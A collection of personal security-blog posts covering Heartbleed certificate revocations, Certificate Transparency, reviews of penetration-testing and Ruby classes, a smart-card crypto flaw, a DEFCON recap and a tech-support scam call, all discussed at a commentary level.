Just to provide some context, here's the same data for this calendar year. 

If you're interested in drilling into this a bit deeper, check out the numerous charts at:

http://del.thearmstrongfamily.org/images/List-Charts.html

Obviously, I'll keep an eye on certificate revocations for awhile.  All these charts are now being updated automatically every night.

It'll be interesting to see what the next weeks will bring.  Some folks are predicting a meltdown of both the CRL handling infrastructure (straight CRLs, OCSP and Google's CRLSet), as well as the infrastructure for issuing replacement SSL certificates.

---

Update (4/15/2014):  Those who know me know I'm extraordinarily lazy, I'll spend days getting a computer to do 5 minutes of work for me.  :-)  I've automated producing these charts, and through the magic of cron I'll be updating them daily.  They're not the pretty ones I created with Excel previously, but gnuplot is my friend in this case.

---

Update (4/16/2014): The good folks as SANS published a diary entry yesterday looking at the same issues.  They produced a similar chart, but from a much richer set of sources.  When I contacted them to ask who their sources were, not only did they provide a list - they put up a spiffy page which features an automated chart.  So the charts here now have a total of 16 different sources for CRLs.  Whoopee!

Here's the SANS diary entry: https://isc.sans.edu/forums/diary/INFOCon+Green+Heartbleed+-+on+the+mend/17961

Here's a link to their CRL tracking page: https://isc.sans.edu/crls.html

---

Update (4/16/2014 - #2): SANS has provided an even more comprehensive list of CRLs.  Also they noticed that with the enhanced list, there's a massive spike in certificate revocations ... due to a massive number of certificate revocations from Globalsign.com.

Here's a page where they document this spike: https://isc.sans.edu/forums/diary/Heartbleed+CRL+Activity+Spike+Finally+Found/17977

---

Update (4/18/2014): The rest of the world is starting to catch up on this issue.  This article looks at the impact of massive CRL changes to the "performance" of the Internet - and confirms that Akamai is planning a major round of certificate revocations: http://www.zdnet.com/internet-slowed-by-heartbleed-identity-crisis-7000028506/

Here, BTW, is a observation from Cloudflare on the cost of massive certificate revocation: http://blog.cloudflare.com/the-hard-costs-of-heartbleed

---

Update (4/20/2014):  In an effort to provide more comprehensive monitoring, I've modified (actually rewritten) my program to provide a plethora of charts.  They're updated daily, and available at this URL:

http://del.thearmstrongfamily.org/images/List-Charts.html

I've added this link to the primary blog entry above. 

---

Update (9/10/2014): This excellent paper just came out.  A comprehensive review of how site admins responded to the Heat Bleed vulnerability.  Two Thumbs up!

https://jhalderm.com/pub/papers/heartbleed-imc14.pdf

---

And here's the updated list of the CRL sources which both SANS and I use:

http://corppki/crl/MSIT Machine Auth CA 2(1).crl,

http://crl-ssl.certificat2.com/keynectis/class2keynectisca.crl,

http://crl.comodoca.com/COMODOExtendedValidationSecureServerCA.crl,

http://crl.comodoca.com/COMODOHigh-AssuranceSecureServerCA.crl,

http://crl.comodoca.com/COMODOSSLCA.crl,

http://crl.entrust.net/level1c.crl,

http://crl.globalsign.com/gs/gsdomainvalg2.crl,

http://crl.globalsign.com/gs/gsorganizationvalg2.crl,

http://crl.godaddy.com/gdig2s1-42.crl,

http://crl.godaddy.com/gds1-54.crl,

http://crl.godaddy.com/gds1-85.crl,

http://crl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,

http://crl.netsolssl.com/NetworkSolutions_CA.crl,

http://crl.omniroot.com/PublicSureServerSV.crl,

http://crl.startssl.com/crt2-crl.crl,

http://crl.usertrust.com/USERTrustLegacySecureServerCA.crl,

http://crl2.netsolssl.com/NetworkSolutions_CA.crl,

http://crl3.digicert.com/ca3-g27.crl,

http://crl3.digicert.com/sha2-ev-server-g1.crl,

http://crl3.digicert.com/ssca-g5.crl,

http://crl4.digicert.com/ca3-g27.crl,

http://crl4.digicert.com/sha2-ev-server-g1.crl,

http://EVIntl-crl.verisign.com/EVIntl2006.crl,

http://EVSecure-crl.verisign.com/EVSecure2006.crl,

http://gtssl-crl.geotrust.com/crls/gtssl.crl,

http://gtssl2-crl.geotrust.com/gtssl2.crl,

http://mscrl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,

http://pki.google.com/GIAG2.crl,

http://sd.symcb.com/sd.crl,

http://svr-sgc-crl.thawte.com/ThawteSGCG2.crl,

http://SVRIntl-G3-crl.verisign.com/SVRIntlG3.crl,

http://SVRSecure-G3-crl.verisign.com/SVRSecureG3.crl

Every Little Bit Helps

I thought this was a pretty interesting response to the debacle that our current certificate infrastructure has become.

https://sites.google.com/site/certificatetransparency/ev-ct-plan

In short, Google is going to try to encourage the use of Certificate Transparency to help deal with the weakness in our certificate infrastructure exposed by the recent rash of invalid certificate incidents.

Certificate Transparency is the idea that whenever a new certificate is issued, that event is logged in a public logfile.  In fact, anyone can log a certificate to a pubic logfile.  Interested folks could then audit the logfile for signs of fraud or erroneously issued certificates.

In other words, if users can reject certificates not published in the logfile, certificate forgers will have to publish their forged certificates in the public logfile for them to be useful ... permitting the legitimate domain owners to see that a forged certificate has been issued.

For a desciption of the concept, see:
https://sites.google.com/site/certificatetransparency/what-is-ct

On the one hand, I really like the idea.  As I've mentioned before, I firmly believe that the way to make the Internet more secure is to move aggressively to improve transparency and utilize open-source.

On the other hand, it really doesn't change anything fundamentally.  The issuers of certificates will still be the primary source of information in the logfile, which means that a rogue or compromised certificate authority will still be able to issue invalid certificates.  The logfile will just, potentially, provide a better opportunity for those who are paying attention to catch bad certificates more quickly.

There is an opportunity for Certificate Transparency to provide additional value, I think.  I'm no certificate expert, but what if when users are presented a certificate not listed in a logfile, in addition to having the option of rejecting the certificate they also "log" it to the logfile as suspect - providing in effect a distributed early warning system for questionable certificates.  In fact, I would imagine that the logfile service can simply track and publicize when it's queried for certificates which it doesn't know about (note: there are probably privacy issues with just automatically publicizing failed certificate lookups.)

Part of the challenge will be giving users the ability to query about certificates when they find themselves in a hostile environment.  Consider for example when a nation state controls DNS and is trying to use forged certificates to conduct man-in-the-middle attacks.  If the attacker can spoof or compromise a logfile service, then we're back to square one.

I still sometimes dream of a PGP style web-of-trust certificate system, which would rely on multiple links of trust used to generate a score based on how broadly trusted a given certificate is ... unlike the current hierarchical, centralized chain-of-trust we currently use.  The biggest problems with a web-of-trust is that it probably wouldn't scale well enough, and it does place more of the responsibility on the user to manage how they allocate trust.

In any event, it's always nice when elephantine companies like Google throw their weight behind something that can only help.

YACC

 (YACC:  Yet Another Cool Class - not the parser generator)

I love the low cost online courses that I've taken this summer.  There's nothing like spending a Saturday focused on writing cool programs ... learning something new, with a knowledgeable instructor talking you through the tricky parts.

I just finished taking the second Ruby for Information Security Professionals course offered by Marcus Carey at threatagent.com.  Not surprisingly, I walked away a bit smarter and with a big grin on my face.

While his first class (http://jrnerqbbzrq.blogspot.com/2013/08/more-cool-classes.html) provides an introduction to Ruby in the context of writing Ruby code for Metasploit, this class doesn't touch Metasploit. Instead, it assumes you have a basic familiarity with Ruby, and focuses on various techniques for accessing Open Source Intelligence.  What this means is that he walks you through writing code to pull down information from various on-line sources of public information such as Bing, Twitter, LinkedIn and Shodan. :-)

By visiting several different sources of information, Marcus is able to introduce us to different techniques to collect information.  So for example, Bing provides a really sweet API that gives you  access to the full power of their search engine and get results back in easily parsed json.  LinkedIn however, chooses to hoard their information, forcing us to scrape information off their web pages.  Marcus shows us how to reverse engineer LinkedIn pages and use the power of Nokogiri to pull useful information from LinkedIn's cold-dead-hands.  How cool!

The class is taught via a webinar, where Marcus shares his desktop to demonstrate code as he builds up applications in real-time.  While watching Marcus' desktop, in another windows we're developing the same code.  When we have questions, Marcus can just demonstrate the answer for us to see. This is a great paradigm for teaching a class like this.  However, it works better if you can use two monitors - one with Marcus' desktop and the other showing the window that you're working in. If your desktop only has one monitor, you'll be switching back and forth between windows a lot. (Maybe pressing your laptop into service to watch the webinar would work.) He also provides a reference document which shows some of the key code snippets.

The class assumes you've taken his first Ruby course, and while Marcus works hard to bring everybody up to the same level, you'll probably struggle if you've never seen Ruby before.

You need to have a working copy of Ruby, with the 'whois', 'open-uri', 'nokogiri', 'shodan' and 'twitter' Ruby packages installed.  It would behoove you to get these installed ahead of time, I found that I couldn't get 'nokogiri' to install on my preferred Ubuntu system  - fortunately it installed with no fuss on my Pentoo system so I used that for the class.  Lots of folks used Kali, which seemed to work well.

Afterwards, Marcus makes available a video of the entire class.  Great for review.

So here's the bottom line:  For $125, this 8 hour long class is a screaming deal.  It's relevant to what we do, it's very well taught and it's just good wholesome fun!

You can read about it at: https://www.threatagent.com/training/ruby_osint

I didn't know that gold can tarnish

It's been accepted for years that cryptography is hard to implement and is full of snake-oil products. The only way to be reasonably sure that encryption is effective is to:

• Stay current
• Use robust key lengths
• Manage keys/passwords carefully 
• And most importantly, only use FIPS 140-2 validated encryption.  

In general, FIPS 140-2 has always been the gold standard of encryption, and trust in FIPS 140-2 has been a cornerstone of being able to trust most security products available today.

However, that trust is now under attack.

The Arstechnica article below provides an alarming report, describing how between 2006 and 2007 the Taiwan government issued at least 10,000 flawed smart cards.  These smart cards were designed to be used by Taiwanese citizens for many sensitive transactions, including activities such as submitting tax returns.  The cards with the flaw had virtually useless encryption, putting at risk any data "protected" by the cards.   The gist of the Arstechnica article is that these failures occurred in spite of the cards being FIPS 140-2 validated, and that the FIPS 140-2 validation process is broken.

But reading the research paper which the Arstechnica article is based on suggests that it's not as simple as that...

Despite being FIPS 140-2 validated, it turns out that the random number generator used by the card (technically, the "Renesas AE45C1 smart card microcontroller" used by the card) "sometimes fails", producing (non)random numbers that can lead to certificates which are easily compromised.  This is exactly the type of failure mode that FIPS 140-2 is designed to catch.  However, the generator on this card had an optional "health check" which was intended to detect when the random number generator was failing.  Not surprisingly, the FIPS 140-2 validation for the card only applies if this health check is enabled.  In other words, if the health check is turned off, as it was on the 10,000 or so broken cards, FIPS 140-2 does not apply and you're on your own using these cards.

Here's the way the research report describes the problem (MOICA is the agency which issued the cards):

"Unfortunately, the hardware random-number generator on the AE45C1 smart card microcontroller sometimes fails, as demonstrated by our results. These failures are so extreme that they should have been caught by standard health tests, and in fact the AE45C1 does offer such tests. However, as our results show, those tests were not enabled on some cards. This has now also been confirmed by MOICA. MOICA’s estimate is that about 10000 cards were issued without these tests, and that subsequent cards used a “FIPS mode” (see below) that enabled these tests"

This is pretty standard, if you look at FIPS 140-2 validation reports, or Common Criteria evaluations, you'll always see a very precise description of exactly how the product must be configured in order for the validation to apply.   It's common to see that FIPS 140-2 validated software or hardware has a "FIPS mode", which must be enabled for the validation to apply.

Looking at the FIPS 140-2 certificate for at least one version of this chip (https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Zertifizierung/Reporte02/0212a_pdf.pdf), the report specifically says "postprocessing should be included in the users embedded software", which I believe is a requirement to include the health check.

Clearly,  this was a horrific failure.  The Taiwanese government issued a bunch of smart cards which were used to authenticate citizens and protect sensitive data, that were completely broken.  Yes, the folks producing the card made a critical mistake. But placing this at the feet of FIPS 140-2 is, IMHO, missing the point.

It would be nice if FIPS 140-2 meant a product was idiot proof, but that's not the way the world works.  Encryption is complicated and has to be done correctly or it doesn't work.  The whole purpose of the FIPS 140-2 testing regime is to ensure that encryption has been rigorously tested under controlled conditions ... and most importantly, to document those conditions so that we know how to use it in a way that can be trusted.  Just because something is FIPS 140-2 validated doesn't mean it's idiot proof or that it can't be configured insecurely.

In any event, in my opinion, despite being very clear about what they did and didn't do when testing this chip - NIST's reputation has been badly tarnished and it will take significant time and effort on their part to undo the damage.  I guess even a gold standard can tarnish sometimes ...

Here's the Arstechnica article describing the failure:
http://arstechnica.com/security/2013/09/fatal-crypto-flaw-in-some-government-certified-smartcards-makes-forgery-a-snap/2/

Here's the actual research paper describing the findings:
http://smartfacts.cr.yp.to/smartfacts-20130916.pdf

A very good overview of the problem provided by the researchers:
http://smartfacts.cr.yp.to/index.html

Tin-Foil Hat Addendum

Given the <euphemism>crisis of trust</euphemism> that the NSA, and the US Government, is currently going through - including accusations that the NSA has been surreptitiously weakening encryption products, it's very hard to avoid the theory that the NSA might have had a hand in this failure.  That's certainly possible in this case, but there's nothing to suggest that the lab issuing the FIPS 140-2 validation was complicit in this failure.

BTW, given the relationship between Taiwan and Mainland China, I've always assumed that Taiwan is constantly under cyber attack by China.  Putting on my second layer of tin-foil headgear, could this be the result of a Chinese effort, not an American one?  I'm sure the NSA is very good, but China is certainly no cyber-slouch either, and they might have a better pool of human resources on the ground in Taiwan - which would have simplified introducing this vulnerability into the card.

Finally, removing my tin-foil hats for a second, this could simply be a screw up.  Broken products get shipped every day, and encryption errors like this are subtle and hard to notice when present in only a very small percentage of the cards.

The Law of Unintended Consequences and Biometrics

So here's an interesting twist ...

Generally, the government can't force you to provide information you know, and then use it against you.  Apparently, forcing folks to incriminate themselves is a slippery slope to state sponsored torture - go figure.

As a result, the state can't compel you to give up passwords or encryption keys.  Although it's recently been challenged, and seems to be subject to subtle interpretations of the law, this protection appears to be holding up in court (http://en.wikipedia.org/wiki/Key_disclosure_law#United_States.)

But, if your authentication or encryption key is a biometric (e.g. a fingerprint), all bets are off and the state has every right to force you to give them access.  This is despite the fact that the biometric might be more secure from a pure security perspective.

This article talks about that little irony, in the context of Apples new iPhone - which can use one's fingerprints to protect the information on the phone.

http://www.wired.com/opinion/2013/09/the-unexpected-result-of-fingerprint-authentication-that-you-cant-take-the-fifth/

So, being "more secure" from a technical perspective (assuming you buy into single-factor biometric authentication) does not necessarily translate into better protection from legal intrusion. :-)

More Cool Classes

Last weekend I had the opportunity to take another really fun course.  This one was Ruby Programming for Information Security Professionals, offered by Marcus Carey at ThreatAgent.com. (https://www.threatagent.com/training)

It dovetailed very nicely with the Penetration Testing courses I took from Georgia Weidman earlier this summer.  Georgia's courses provided an accelerated introduction to using Metasploit (and some other pentesting tools).

With Georgia's classes under your belt, Marcus' Ruby class gives you one of the tools you need to take using Metasploit to the next level.  Since Metasploit modules (and Metasploit itself) are written in Ruby, Marcus' class gives you the introduction to Ruby that you need to start writing Metasploit modules.  And even if you're not itching to write an exploit module just yet, he teaches more than enough to let you read and understand Metasploit modules - which is itself a very powerful capability.

About 2/3 of the class is spent in an introduction to Ruby, starting with using the irb interactive Ruby environment, and moving on to the basics of the language.  Ruby turns out to be a delightful language and a pleasure to learn.  Marcus takes the class through the basics of the language using lots of hands-on examples, so it never gets boring.   After we've learned enough Ruby to be "dangerous", we finish off this part of the course writing some quick examples doing things like parsing json, accessing a web site, and making DNS queries.  What fun!

However, the last 1/3 of the class is the real pay-off.   That's when we start writing a Metasploit module.  The module utilizes some of the code we'd already written, and does a simple DNS reconnaissance of a selected domain.   Utilizing a template provided by Marcus, we go through the basics of producing a module which can be integrated into Metasploit.

As with the classes I took from Georgia Weidman, the class it taught via a live webinar.  It's easy to ask questions, and Marcus is very responsive and attentive to his students.  He teaches the class assuming that you're either running Ruby and Metasploit directly, or that you're running Kali.  The only "attacks" are really just accessing public DNS and web sites, so there's no need to provide sacrificial VMs for us to attack.  He provides a written outline for the class, which is very helpful as you work along with him through the examples.  After the class, he provides a video of the webinar, so you can review the class in detail.  Overall, the class is presented in an organized, interesting and professional manner.

As with Georgia's classes, this class is an incredible deal at $125 for the day long class.  If you'd like to read my rant about the cost of training, go back to my review of Georgia's class - which along with Marcus' class, is an example of what our community needs more of.

Since I've taken the class, I've been on an orgy of coding up a module for Metasploit.  It's been a long time since I've been so enthused about a project that I've gone into sleep-deprivation mode to work on it. :-)  I have Marcus to thank for that!

Anyway, here's the bottom line.  Ruby Programming for Information Security Professionals, taught by Marcus Carey is an awesome course.

This class is for you if you have some programming knowledge, but don't know Ruby and want to jump into writing Metasploit modules.  Yes, you can RTFM.  But for a relatively little bit of money, and 8 hours of your time, you can really jump-start the process and go from zero to writing a Metasploit module by the end of the day.  Of course, there's a ton about both Ruby and Metasploit that he doesn't have time to cover, but you will have enough that you can move forward by writing code ... not by just reading about writing code.

Combine this with Georgia's classes (take them first), and you'll be well on your way to being a very competent Metasploiter  (is that a word :-)

BTW, a little while ago I finally looked at Python ... and fell in love.  I've been studying it since then, with the intention of abandoning Perl for Python.  But I have to admit, Ruby really appeals to me and I'm wondering if I may just abandon Python and do all my programming in Ruby. Does that make me a fickle person? :-)

Phew! Finally Recovering from DEFCON

This was the second year that I've attended DECON "on my own dime", after a gap of about 9 years when I wasn't able to attend.

Last year, my first time back in 8 years or so, I think I was in a state of shock throughout most of the weekend.  Everything had grown so big - with 15,000 folks attending there was a line for almost everything even remotely popular.  But, if you scratched beneath the surface it was still the same DEFCON as before ... with the same passion for playing with anything that couldn't run away, just 15 times bigger and with a slightly more corporate veneer.

This year, I was a bit more prepared.  There were still long lines everywhere - and for some talks the room filled up before everyone who wanted to attend got in.  But with some planning and flexibility, it was a hugely rewarding DEFCON.

What were the high points for me this year?

This year they released the official DEFCON documentary, which was mostly filmed at last year's event.  The documentary explains what DEFCON is about and shows the history of DEFCON.  It's not bad; I learned a good bit about the early history of DEFCON.  It does a really good job of capturing some of the "hacker ethic" which is what makes DEFCON so great.  It also gives a good view into the core group which runs DEFCON every year.  On the con (sorry!) side, it is a bit of a self absorbed love-fest.  Apparently the documentary was funded by Dark Tangent (Jeff Moss, the person who runs DEFCON every year.), so it shouldn't be a big surprise that only the good side made it out of the cutting room.  But again, I recommend it.  They're giving it away for free, it's up on You Tube and lots of other places: http://youtu.be/3ctQOmjQyYg

I got a huge kick out of the car hacking talks.  Tuners have been hacking auto ECUs for years, figuring out how to rewrite the tuning tables to make car perform better.  My last track car, a Mazda Miata had a third party ECU which completely replaced the Mazda unit, allowing a huge range of custom engine tuning options.  But now cars are so much more like regular computing platforms, and are so much more computerized, they're become really interesting to the hacking community in general.  Insead of just controlling the engine, now virtually every aspect of a car is controlled by a network of computers.  Think about it, if you drive a car with an auto parallel-parking feature, there's a computer driving your car when it parks for you.  Same thing with the crash avoidance, or cruise control that maintains a safe distance from the car in front if you.  So, hacking cars has become a lot more interesting than just tweaking ECUs to run less engine timing.  They didn't talk about it here, but others have been looking at compromising a car's internal network remotely (such as via Bluetooth).  I can't wait to see these threads of work combined.  Here's one video showing some of what they've done: http://youtu.be/oqe6S6m73Zw. Here's the paper describing their work and open source tools: http://youtu.be/3ctQOmjQyYg.  Yes, I said tools - you too can jack into your car's OBD-II port and start injecting traffic onto your car's shared network. :-)

I attended the "Policy Wonk Lounge" which turned out to be a very a un-DEFCON like event.  It was an  informal opportunity for attendees to meet with some relatively high level DC .gov and .mil insiders.  It was also the only event where there was an obvious core of press attending, and it was the first time I've ever been to a meeting which was formally "off the record".   Not surprisingly (to me at least), the DC folks were reasonable, thoughtful folks who really try to do the right thing.  Nothing earth shattering was decided or revealed, but it was really useful to have an open discussion.  Here's the basic description: https://www.defcon.org/html/defcon-21/dc-21-speakers.html#Wonk

Speaking of the Policy Wonk Lounge, this was the year that "Feds" were uninvited to DEFCON in response to the NSA domestic spying issue.  I was wondering just how that would all go down ... and as near as I can tell the big impact was that the NSA didn't have a recruiting table in the vendor room (they had one there last year) or explicitly public talks.  I was pleased that the spirit of tolerance which I always considered a DEFCON hallmark still lived.  There are clearly some sharp political differences between DEFCON attendees, but I personally never saw (or heard) of it becoming an issue.

Remember Pentoo?  It's a Linux distribution focused on penetration testing.  I personally hadn't played with it in awhile, and haven't really thought about it recently.  The hot pentesting distribution for the past couple of year has been Kali (nee BackTrack.) But several talks made a point of mentioning that Pentoo still exists, and *some* people like it better than Kali.  The cool thing about Pentoo is that it's being maintained, provides a high quality alternative to Kali (i.e. a different set of tools to consider) and is based on the Gentoo Linux distribution.  That's what's really great about a conference like DEFCON, you can often read the paper a presenter had written on some topic, but when you attend the talk and the Q&A afterwards, you often pick up all sorts of gems.

Another thing that made me smile: In the hardware hacking area there were a few 3-D printers set up.  One guy had a hacked Kinnect, and was using it make and give out 3-D scans of folks (essentially a scan of your head.) You could use the scan to print a sculpture of your head on a 3-D printer. Imagine what DEFCON attendees will be showing us with those in a few years!  In fact, a photo-copy shop a block from my house just installed a 3-D printer, we live in interesting times!

I'm already excited about next year at DEFCON ...

Sometimes, life just hands you an ice cream cone

Recently, I was just sitting at my computer, when I got a call on my phone.  Unfortunately, I don't have a recording app on my phone (I did on my old one), so this is just the highlights from a few handwritten notes and my memory ...

(call from 212-777-3001)
Me: Hello?
Caller: Hello, this is <mumble>Global Soft<mumble>, we're recording errors on your computer
Me: huh?
(Really? I'm finally getting one of "those" calls)
Caller: we're getting lots of errors from your computer.  viruses, malware, ....
Me: huh?  How do you know about this stuff?
Caller: we receive error messages from your computer.  your computer is infected ... i just need to walk you through a few steps to fix it ...
Me: huh?
...
Me: huh?  I'm sorry, I'm pretty dumb about computers.  How do you know what's wrong with my computer?
Me: huh?  Oh! I know! Do you mean I bought your service when I bought the computer
Caller:  yeah, yeah, that's right.  that's what you did!
...
Caller: ok, I just need you do to a few things ...
Caller: turn on your computer ...
Caller: Let me know when you see your desktop ...
Me: huh? it's on, I'm looking right at it.
Caller: do you see your desktop
Me: huh?  I don't know ... it says dollar sign
Caller: (confused) huh? :-)
Me: huh? I see a dollar sign prompt  (I'm looking at a Linux shell prompt, but was trying to remember what a Wylbur prompt looked like ... If you're wondering: http://en.wikipedia.org/wiki/ORVYL_and_WYLBUR)
Caller: where's your desktop?
TMe: huh? what's a desktop? oh! That! there is no desktop.  This is a brand new computer they just gave me
Me: before this we did everything with punched cards ...
Caller:  how do you get to the internet?
Me: huh?  Do you mean how do we do things?  I can submit any card deck you need, the submission desk is just down the hall ...
Caller: Are you at work?  Is this your personal computer?

(... much hilarity ensues while I offer to submit cards and he tries to get me to the desktop and/or internet)

Me: huh?  Of course I'm at work.  I don't have a personal computer
Caller:  Can you get to the Internet from work
Me: I'm not authorized to use the Internet

CLICK! (he finally hung up)

:-)

I am kicking myself a bit.  Not only did I have no way to record the call, but I realized afterwards that I have a throw-away, very vulnerable, Windows-XP virtual machine (from a course I took recently) that would have been a perfect victim.   Unfortunately, I have a feeling that my dyslexia would have kicked in ... and my credit card would have ended up being denied in that case.  :-)

But, pretending I was using punched cards did give me a bit of a giggle.

Update:

Here's an article which give another example of how somebody else had fun with these guys: http://arstechnica.com/tech-policy/2012/10/i-am-calling-you-from-windows-a-tech-support-scammer-dials-ars-technica/


Update 2: Another article, also from ARS, provides more detail on how one of these operations is run (and how the FTC is taking them down.) http://arstechnica.com/tech-policy/2014/05/stains-of-deceitfulness-inside-the-us-governments-war-on-tech-support-scammers/

Update 3 (9/12/2014): There's now a metasploit module which allows you to turn the tables on these scammers. http://www.scriptjunkie.us/2014/09/exploiting-ammyy-admin-developing-an-0day/

A Couple of Cool Classes

I've devoted the last couple of Saturdays to taking the first two classes on penetration testing offered by Georgia Weidman. (http://www.bulbsecurity.com/)

The short version of this posting is that I completely recommend them, they're awesome!

The first class, Penetration Testing with Metasploit is exactly what the title promises.  It's the perfect class for someone who, like me, is fairly familiar with the tools of our trade, but has never taken the time to learn how to use Metasploit.  Yes, you can just read a book or the user docs, but learning how to use it by attacking realistic targets is a much better way to learn. (And much more fun!)

Even if you're relatively new to security, I think you can still get a lot from the class.  Here's a test: If I say "Port 80 on localhost", or "cracking hashes from /etc/shadow", does that mean anything to you?  Do you think you can stand up a pre-configured virtual machine using VMware player or VirtualBox?  If your answer to these is "yes", I think you'll be able to participate in this class.  The focus is on using Metasploit, and a few other tools ...  so if you can follow directions, you should be able to keep up.  Keep in mind, the point of Metasploit is to package exploits so that you can use them without knowing the details of how they work.  Even if you don't completely understand the exploits being demonstrated, seeing them in action is extremely valuable.

The class is entirely hands on.  Prior to the class, Georgia sends you two virtual machines, one running Windows XP and one running Ubuntu Linux.  She also instructs you to grab a copy of the Kali virtual machine (Kali, nee BackTrack, is a collection of pentesting tools.)   You'll be shocked to hear that both of the virtual machines she provides have some vulnerabilities.  :-)

Georgia runs the class using an on-line webinar system that lets her talk to everyone while she shares her screen.  She also gives out a set of slides, which provide a written backup to what she's showing.  The basic flow of the class is that you use the Kali VM  to attack the XP and Ubuntu "victim" virtual machines.  On the screen she's sharing, Georgia is running the same exploit you are, discussing it while she demonstrates it.  This is not some instructor reading from a power-point deck, it's more like watching reality TV for hackers ... except you get to play along!  Finally,  the webinar system allows students to submit questions, which Georgia is good about answering quickly and clearly.

Of course, the class is not without glitches.  As an instructor, you can't spin up a bunch of virtual machines on your laptop, interactively run malicious exploits against them and share the entire mess via a webinar/screen-sharing service from your home, without something breaking.  In both classes, some time was lost dealing with glitches, resulting in the class running 9 hours long instead of the scheduled 8.  Even with a few breaks thrown in, 9 hours is a long time.  By the end of each class I was a quivering bowl of Jello ... I have no idea how Georgia was able to keep going for 9 hours.  But each time, while I was pretty fried by the end I was also grinning like a mad man.

After the class is over, Georgia provides access to a video of the class.  She also will be granting students access to a lab network which contains additional machines to practice on.

So here's the best part ... the class costs only $100!

<Rant> I've gotten very frustrated at the cost of decent training these days.  For example, I'm a huge fan of some of the SANS courses, but there's no way I can afford them personally, and many employers simply can't afford to drop that kind of money on training.  I'm fully aware of, and OK with, the profit motive.  But it feels like the best and biggest training organizations are heavy on "what the market will bear", and light on "what's best for the industry".  Thank goodness for events like DEFCON, BSides or SNOWFROC ... without those there would be nothing for those of us who make up the "middle class" of security.</Rant>

In summary, this class is by far the best training deal I've ever encountered.  I learned some valuable skills taught by a real pro, I had a total blast and I didn't have to max out the credit card to do it.

I'm not sure when it'll be offered next, but check out: http://www.bulbsecurity.com/online-security-training/penetration-testing-with-metasploit/ for more information.

The second class, Penetration Testing Level 2, is very much a continuation of the first.   It's assumed you're familiar with the material from the first class, and goes into detail about more sophisticated attacks.  In addition to the VMs from the first class, an additional Windows-7 VM is provided.  Metasploit is still the primary tool, but other tools are also used for more sophisticated attacks.  For example msfvenom, the Social Engineering Toolkit and Hyperion are all used to package exploits. In another exercise,  one of the virtual machines is compromised and then used to pivot and attack a second machine.  These are still "elementary" pentesting techniques, but the hands-on nature of the class really takes it beyond the purely academic and makes it a valuable learning experience.

Penetration Testing Level 2 costs a whopping $200, and is worth every penny.  Again, I'm not sure when it's going to be offered again, check out: http://www.bulbsecurity.com/online-security-training/penetration-testing-level-2/

A couple of recommendations if you take one of these classes:

• Grab the virtual machines ahead of time and make sure you've got them running well.  If you're building your environment the morning of the class, you're already behind the curve.
• If possible, use a two monitor setup.  Having Georgia's shared screen on one monitor, and running Kali on the second monitor, is the trick setup for these classes.

It sounds like Georgia may create an entire series of classes along these lines ... at this sort of price point, given the high quality (and fun quotient) of the first two classes, I think that the entire series would be a pretty interesting training option.

Password Cracking is a Art

Just a quick posting to recommend the following article:

http://arstechnica.com/security/2013/05/how-crackers-make-minced-meat-out-of-your-passwords/

It's easy to think that cracking passwords is a point and click activity ... just grab a big password list, recruit a bunch of processing power and let'r run.  If you think that's how it works, you're wrong.

This article describes the process taken by three separate password cracking experts to attack the same list of password hashes.  They approached the challenge with different tools, different approaches and achieved different results.

The key point (other than some nice tricks) is that as with many security endeavors, password cracking is a both a craft and an art.  To be good at it, you need to know the underlying cryptography, you need to know your tools and you need to know how people behave.  And then most importantly, you need to develop creative solutions based on your knowledge and hard earned experience.

As I go about my daily work in this field, I'm often reminded of the passion and craftsmanship I experienced a very long time ago when taking a wood working class.  It was at a top design school, and I was a rank beginner surrounded by folks building beautiful pieces of furniture.  They understood how to make wood do things I could only dream about, things that seemed like magic until you understood how they did it.

Kinda like figuring out that '3e93fb79e0970b6b8229ff8bec22d069' is the hash for 'qeadzcwrsfxv1331'.

:-)

Another adaptation to enhance our survival :-)

Below's a nice little note which points out that since some malware tries to evade analysis by detecting when it's running in a "lab" environment, you can "immunize" your systems by making them look like a lab.

https://community.rapid7.com/community/infosec/blog/2013/05/13/vaccinating-systems-against-vm-aware-malware

In this case, they provide a tool which makes a few simple changes to your system and runs a few programs to simulate running under VMware.  Cute, but of course soon enough the attackers will just evolve more sophisticated ways to detect when their code is really being examined.

This is the same sort of strategy used by some animals in nature.  If you appear to be something dangerous, predators will leave you alone.  Technically, this is known as Batasian Mimicy (http://en.wikipedia.org/wiki/Batesian_mimicry.)

One interesting aspect of Batasian Mimicy is that even "poor" mimics derive a benefit - it will be interesting to see if that observation holds true in the online contest between hunter and prey.  :-)

Is Hotmail the Only One?

Here's a nice little bit of research out of rutgers.edu. It turns out that Hotmail will shutdown your email account after it's been idle for 270 days. Not a crazy policy, and perhaps even with some security benefit.

But, here's the bad part, they also make your username (aka email address @ hotmail) available for reuse.

 The researchers were able to use this detail, combined with the Facebook policy of sending password reset credentials to the email address on record, to take over the Facebook accounts associated with "expired" hotmail accounts.

 This attack was assisted by using some simple scripts which allow easily testing whether a hotmail account has expired or not. The biggest limitation on the attack is that Facebook generally restricts visibility into an account's email address to "Friends" of the account. In effect, this means automating the attack becomes a tree traversal exercise as one compromises an account, and then attacks any friends of the compromised account who might be vulnerable.

I have a few comments on this.

1. I understand trying to let folks have the email address they want, that's just good business.  I can can even see how letting folks take an address permanently out of the pool of available addresses is begging for abuse ... but we're seeing more and more examples of how stealing an email address opens the gate wide for identity theft.  Facebook is pretty much in the mainstream with their password reset policies.  Now is a good time for Microsoft to change their policy; Don't make expired email accounts available for reuse, it's just too easy to abuse.
2. I sympathize with Facebook.  I've always considered password resets to be a very difficult problem.  Short of having somebody physically present showing ID, how can you really be certain who you're granting access to an account to?  As I am constantly reminded, "on the Internet, nobody knows you're a dog".  In this case, all you really know is that you're being asked to grant access to somebody who doesn't know the correct password. :-)   
3. Again, this problem is hard when addressed at scale.  Consider the case of Mat Honan, where Apple tried to do something more sophisticated than just fire an email to a stored email address, and yet their process was still shown to be quite vulnerable (http://www.wired.com/gadgetlab/2012/08/apple-amazon-mat-honan-hacking/.)
4. Can you say Two Factor, Single Sign On?

Here's a good summary:  http://www.net-security.org/secworld.php?id=14892

Here's the full paper: http://precog.iiitd.edu.in/events/psosm2013/9psosm3s-parwani.pdf

As I say in my subject, is Hotmail the only major email provider who allow reuses of email addresses?

Always remember to shred your ship when done with it

We've all seen the hapless user who sells their computer on eBay without wiping the hard drive.

How about selling a Coast Guard patrol board to the North Koreans without wiping the navigation system.  :-)

What else did they forget to sanitize?

